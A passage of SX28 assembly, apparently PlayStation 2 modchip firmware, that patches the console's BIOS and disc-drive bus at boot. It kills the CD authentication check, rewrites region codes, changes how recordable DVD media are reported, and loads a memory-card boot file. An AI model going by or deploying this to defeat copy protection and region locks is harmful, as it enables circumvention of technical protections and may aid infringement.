w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20;15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;; should be fine ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp MECHACON_WAIT_OE clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp MECHACON_WAIT_OE ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spa rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;; h2o dev1 ported ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$73 mov VAR_DC1,w clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;---------------------------------------------------------- ;XCDVDMAN routine 2 ??? ps1/dev1 XCDVDMAN ?? ;---------------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_2 page $0000 call SET_INTRPT POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w POST_PATCH_4_MODE_START_L1_2 mov w,#$ff mov VAR_DC3,w POST_PATCH_4_MODE_START_L2_2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3_2 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4_2 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2_2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4_2 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3_2 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2_2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1_2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;-------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_L5_2 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4_2 POST_PATCH_4_MODE_START_P2_2 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 Label_0184 snb IO_BIOS_OE jmp Label_0184 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0185 sb IO_BIOS_OE jmp Label_0185 Label_0186 snb IO_BIOS_OE jmp Label_0186 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0187 sb IO_BIOS_OE jmp Label_0187 Label_0188 snb IO_BIOS_OE jmp Label_0188 PS1_DETECTED_REBOOT_JMP11to17_ALL ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w jmp POST_PATCH_4_MODE_START2_2 org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20;15 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC clr fsr ;; test remove. todo mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w clr fsr ;; test remove. todo setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo page4 sx28 ;; weird broken oe wait not even called. wait needed for flow ?? ;; test remove. todo ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_PA ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_PA ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp 